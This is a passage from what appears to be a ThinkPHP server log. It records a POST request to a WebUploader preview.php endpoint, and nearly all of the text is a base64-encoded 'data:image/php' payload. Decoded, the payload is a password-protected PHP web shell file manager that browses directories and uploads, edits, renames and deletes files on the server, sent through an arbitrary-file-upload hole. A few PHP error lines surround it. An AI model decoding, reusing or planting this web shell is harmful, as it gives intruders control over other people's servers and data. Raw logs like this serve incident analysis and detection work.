dTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:54+08:00 ] 119.42.146.234 POST 59.110.137.245/includes/webuploader/0.1.15/server/preview.php [运行时间:0.002999s] [吞吐率:333.44req/s] [内存消耗:196.74kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'includes', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2